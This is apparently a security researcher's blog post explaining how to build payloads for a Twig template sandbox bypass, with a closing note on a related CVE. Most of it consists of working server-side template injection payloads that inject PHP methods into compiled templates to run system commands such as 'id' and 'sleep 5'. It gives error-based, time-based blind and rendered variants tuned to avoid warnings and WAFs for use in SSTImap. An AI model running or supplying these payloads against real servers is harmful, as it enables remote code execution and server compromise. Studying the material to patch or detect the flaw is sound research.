CVE-2026-46640: Developing payloads for Twig sandbox bypass
>
use Twig\Environment;
use Twig\Error\LoaderError;
use Twig\Error\RuntimeError;
use Twig\Extension\CoreExtension;
use Twig\Extension\SandboxExtension;
use Twig\Markup;
use Twig\Sandbox\SecurityError
use Twig\Sandbox\SecurityNotAllowedTagError;
use Twig\Sandbox\SecurityNotAllowedFilterError;
use Twig\Source;
use Twig\Template;
use Twig\TemplateWrapper;
/* tpl */
class __TwigTemplate_575a870d8cf1f6c0da148c3829610465 extends Template
{
private Source $source;
/**
* @var array
*/
private array $macros = [];
public function __construct(Environment $env)
{
parent::__construct($env);
$this->source = $this->getSourceContext();
$this->parent = false;
$this->blocks = [
];
}
protected function doDisplay(array $context, array $blocks = []): iterable
{
$macros = $this->macros;
// line 1
yield $this->getTemplateForMacro("macro_ ;system('sleep 5');// ", $context, 1, $this->getSourceContext())->macro_ ;system('sleep 5');// (...[]);
yield from [];
}
/**
* @codeCoverageIgnore
*/
public function getTemplateName(): string
{
return "tpl";
}
/**
* @codeCoverageIgnore
*/
public function isTraitable(): bool
{
return false;
}
/**
* @codeCoverageIgnore
*/
public function getDebugInfo(): array
{
return array ( 42 => 1,);
}
public function getSourceContext(): Source
{
return new Source("", "tpl", "");
}
}
Notice that the payload is only used in two places within the same line of the doDisplay function:
yield $this->getTemplateForMacro("macro_ ;system('sleep 5');// ", $context, 1, $this->getSourceContext())->macro_ ;system('sleep 5');// (...[]);
The first instance escapes the payload inside the string correctly, but the second injection point allows arbitrary code. However, the code does not execute because getTemplateForMacro immediately triggers a fatal error.
First Payload
Since the code inside doDisplay will never be executed, we need to inject the code within that function’s context. Escaping the entire class definition is possible, but this would create a very long payload.
Instead, I chose to inject a function inside the generated class. The segment after the injection contains yield, turning the function into a generator. Because many useful overridable functions cannot be generators, I added a second unused function.
For a simple test, I used __destruct(), as the object is destroyed after the error:
{{_self.(";}function __destruct(){system('id');}function a(){//")}}
This payload succeeded, printing the command output after the error. By adjusting PHP’s error visibility, I created a proper Error-Based payload:
{{_self.(";}function __destruct(){error_reporting(1);ini_set('display_errors', 1);call_user_func(shell_exec('id'));}function a(){//")}}
Similarly, a Time-Based Blind payload was created using the same approach:
{{_self.(";}function __destruct(){system('id && sleep 5');}function a(){//")}}
Second Payload
The previous approach bypasses the fatal error but can break page rendering. Boolean Error-Based Blind exploitation is more stable if rendering continues normally.
The fatal error is triggered by getTemplateForMacro in the parent Twig class. This allows overriding the function in our injected code:
{{_self.(";}function getTemplateForMacro(string $name,array $context,int $line,Twig\\Source $source):Twig\\Template{system('id');return $this;}function a(){//")}}
This executes commands but generates a warning, which might disrupt detection or trigger WAFs. To suppress the warning, define a variable called $macro_:
{{_self.(";}public $macro_='';function getTemplateForMacro(string $name,array $context,int $line,Twig\\Source $source):Twig\\Template{system('id');return $this;}function a(){//")}}
This provides a form of rendered code execution, but if we only control part of the template (e.g., via SSTI), the remainder of the template may not render. We can capture the rest of the rendering in the unused function a() and finish it with yield from:
{{_self.(";yield from $this->a();}public $macro_='';function getTemplateForMacro(string $name,array $context,int $line,Twig\\Source $source):Twig\\Template{system('id');return $this;}function a(){//")}}
To prevent breaking real macros, a keyword in the comment can conditionally call the parent function:
{{_self.(";yield from $this->a();}public $macro_='';function getTemplateForMacro(string $name,array $context,int $line,Twig\\Source $source):Twig\\Template{if(!str_contains($name,'sstimap')){return parent::getTemplateForMacro($name,$context,$line,$source);}system('id');return $this;}function a(){//sstimap")}}
This ensures getTemplateForMacro is only overridden for macro names containing sstimap.
SSTImap Module
Adapting payloads for SSTImap was straightforward, as the code injection is unrestricted. Most PHP injection payloads could be reused with minor adjustments.
The main issue was differing execution timing between the payloads. A full __destruct()-based payload was initially used for file uploads, while integrity verification expected technique-specific payload evaluation.
This discrepancy caused issues because different payloads execute injected code in different directories:
Rendered and Boolean Error-Based: executed in the website directory during normal rendering.
Error-Based and Time-Based Blind: executed in the server’s working directory after a fatal error interrupts rendering.
Note on CVE-2026-46633
CVE-2026-46633 affects all earlier versions, making it a potentially more useful plugin. It could provide sandbox escapes for Twig versions ≥3.3.8 <3.15.0 and allow code injection in older versions. Currently, there are no universal payloads for Twig >1.19 <2.10, even in unsandboxed environments.
I explored CVE-2026-46633 but could not achieve execution of injected code. The findings are presented here in case others can build upon them.
Code injection is possible using the {% use ... with ... as ... %} syntax, which can be verified with a syntax error:
{% use "' test" with a as b %}
The payload is escaped, limiting execution strategies:
Escaping prevents defining functions with arguments.
Single quotes are not escaped, which is the vulnerability source.
Backslash escapes are evaluated before escaping (e.g., \x24 becomes \$).
Code is injected inside a function after a fatal error, so __destruct() is never called.
Compiled template code for context:
*/
private array $macros = [];
public function __construct(Environment $env)
{
parent::__construct($env);
$this->source = $this->getSourceContext();
$this->parent = false;
// line
Articles
|
Timewaster
Home
|
About 3Corns